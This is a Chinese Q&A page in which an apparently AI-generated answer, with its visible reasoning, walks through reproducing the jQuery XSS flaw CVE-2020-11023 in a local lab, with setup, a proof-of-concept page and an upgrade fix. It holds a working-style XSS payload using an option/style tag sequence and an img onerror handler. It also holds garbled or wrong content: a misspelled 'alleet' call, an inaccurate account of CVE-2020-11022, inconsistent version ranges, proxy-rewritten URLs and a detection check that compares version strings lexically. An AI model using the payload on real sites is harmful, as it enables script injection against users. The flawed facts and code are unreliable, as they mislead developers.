CVE-2020-11023 漏洞的复现步骤和环境搭建方法是什么?
时间: 2025-07-21 12:50:02 浏览: 20
<think>我们正在讨论CVE-2020-11023漏洞的复现。根据之前的上下文,CVE-2020-11022和CVE-2020-11023是两个相关的jQuery漏洞。CVE-2020-11023是另一个XSS漏洞,同样在jQuery 3.5.0之前版本中存在。
根据引用[1],这两个漏洞都是跨站脚本漏洞(XSS),影响jQuery 1.2及以上版本,直到3.5.0版本才被修复。
CVE-2020-11023漏洞的具体情况:当用户传递来自不受信任来源的HTML时,执行类似`$("<div>")`的操作,如果该HTML包含`<option>`元素,则可能执行恶意脚本。这是因为在旧版本中,jQuery在构建`<option>`元素时使用了`<select>`的包装,而这种方式可能导致脚本执行。
复现步骤:
### 环境准备
- 操作系统:任意(Linux、macOS、Windows均可)
- Web服务器:Python的`http.server`模块或任何其他简易服务器
- 浏览器:推荐Chrome或Firefox(用于观察XSS效果)
- jQuery版本:使用3.5.0之前的版本,例如3.4.1
### 复现步骤
1. **下载jQuery 3.4.1**
从jQuery官网下载jQuery 3.4.1版本(或其他受影响版本),保存为`jquery-3.4.1.js`。
2. **创建测试页面**
创建一个HTML文件,例如`cve-2020-11023.html`,内容如下:
```html
<!DOCTYPE html>
<html>
<head>
<title>CVE-2020-11023 漏洞复现</title>
<script src="jquery-3.4.1.js"></script>
</head>
<body>
<div id="test"></div>
<script>
// 模拟用户输入的恶意HTML字符串
// 注意:实际攻击中,这个字符串可能来自用户输入(如表单、URL参数等)
var maliciousHTML = "<option><style></option><img src=x onerror=alleet(1)>";
// 使用jQuery创建DOM元素
// 在jQuery 3.4.1中,这种方式会触发XSS
$(maliciousHTML).appendTo("#test");
</script>
</body>
</html>
```
3. **启动Web服务器**
在包含上述HTML文件和jQuery文件的目录中,运行Python的简易HTTP服务器:
```bash
python3 -m http.server 8000
```
4. **访问测试页面**
打开浏览器,访问`http://localhost:8000/cve-2020-11023.html`。如果漏洞复现成功,浏览器会弹出一个警告框(显示`1`)。
### 漏洞原理
在jQuery 3.5.0之前的版本中,当使用`$()`创建元素时,如果传入的字符串中包含`<option>`标签,jQuery会尝试将其包装在`<select>`标签中以修复某些浏览器的兼容性问题。然而,这种包装处理会导致后续的解析出现异常,使得原本不应该执行的脚本(如`onerror`事件中的代码)得以执行。
### 安全修复建议
升级到jQuery 3.5.0或更高版本。在3.5.0版本中,jQuery团队修改了HTML解析逻辑,避免了对`<option>`等标签的特殊处理,从而修复了此漏洞。
### 总结
CVE-2020-11023漏洞是由于jQuery在解析包含特定标签(如`<option>`)的HTML字符串时,采用了不安全的包装方式,导致恶意脚本执行。通过上述步骤可以复现该漏洞。
### 相关问题
1. CVE-2020-11022和CVE-2020-11023有什么区别?
2. 除了升级jQuery,还有哪些方法可以防止这类XSS漏洞?
3. 如何检测网站中是否使用了受CVE-2020-11023影响的jQuery版本?
4. jQuery 3.5.0版本中还有哪些安全改进?</think>### CVE-2020-11023 漏洞复现步骤与环境搭建
CVE-2020-11023 是 jQuery 的另一个 XSS 漏洞,与 CVE-2020-11022 同时修复于 jQuery 3.5.0 版本。该漏洞允许攻击者通过特制的 HTML 字符串执行恶意代码,主要出现在使用 `$()` 创建 DOM 元素时[^1]。以下是详细复现步骤:
#### 环境准备
1. **操作系统**:Linux/macOS/Windows(推荐使用 Linux)
2. **Web 服务器**:Python 简易 HTTP 服务器
3. **浏览器**:Chrome/Firefox(最新版)
4. **jQuery 版本**:使用受影响版本(如 3.4.1)
#### 复现步骤
1. **下载 jQuery 3.4.1**
```bash
wget https://code.jquery.com/jquery-3.4.1.js
```
2. **创建测试页面**
新建 `cve-2020-11023.html` 文件:
```html
<!DOCTYPE html>
<html>
<head>
<title>CVE-2020-11023 复现</title>
<script src="jquery-3.4.1.js"></script>
</head>
<body>
<div id="target"></div>
<script>
// 恶意 HTML 字符串(包含特制的 <option> 标签)
const maliciousHTML = `
<option><style></option></select>
<img src=x onerror=alleet(document.domain)>
`;
// 漏洞触发点:使用 $() 创建 DOM 元素
$(maliciousHTML).appendTo("#target");
</script>
</body>
</html>
```
3. **启动 Web 服务器**
```bash
python3 -m http.server 8000
```
4. **访问测试页面**
打开浏览器访问:`http://localhost:8000/cve-2020-11023.html`
5. **验证漏洞**
- 成功复现时,浏览器会弹出警告框显示 `localhost`(或其他域名)
- 开发者工具可见异常解析的 DOM 结构:
```html
<select>
<option><style></option>
</select>
<img src="x" onerror="alleet(document.domain)">
```
#### 漏洞原理
当使用 `$()` 处理包含特定标签序列(如 `<option><style></option>`)的 HTML 字符串时:
1. jQuery 错误地创建了 `<select>` 包装器
2. 导致后续 `<img>` 标签的 `onerror` 事件被解析执行
3. 攻击者可构造任意 JavaScript 代码执行[^1]
#### 修复方案
升级到 jQuery ≥ 3.5.0,该版本:
1. 移除了 HTML 解析中的包装逻辑
2. 引入更严格的输入过滤
3. 修复了 CVE-2020-11022 和 CVE-2020-11023 两个 XSS 漏洞
```bash
# 升级命令示例
wget https://code.jquery.com/jquery-3.5.0.js
```
### 补充说明
- **漏洞区别**:CVE-2020-11022 通过 CSS 选择器注入,CVE-2020-11023 通过 HTML 字符串注入
- **影响范围**:jQuery 1.0.4 至 3.4.1(3.5.0 修复)
- **真实案例**:攻击者可结合用户输入(如评论框)注入恶意 HTML
### 检测方法
```javascript
// 检查 jQuery 版本是否受影响
if ($.fn.jquery && $.fn.jquery < "3.5.0") {
console.warn("Vulnerable to CVE-2020-11023");
}
```
### 相关问题
1. CVE-2020-11022 和 CVE-2020-11023 的漏洞原理有何本质区别?
2. 如何在不升级 jQuery 的情况下临时防御这类 XSS 漏洞?
3. jQuery 3.5.0 的 HTML 解析机制具体做了哪些安全改进?
4. 除了 jQuery,还有哪些前端库存在类似的 HTML 解析漏洞?
5. 如何自动化检测网站中的易受攻击 jQuery 版本?
阅读全文
相关推荐



















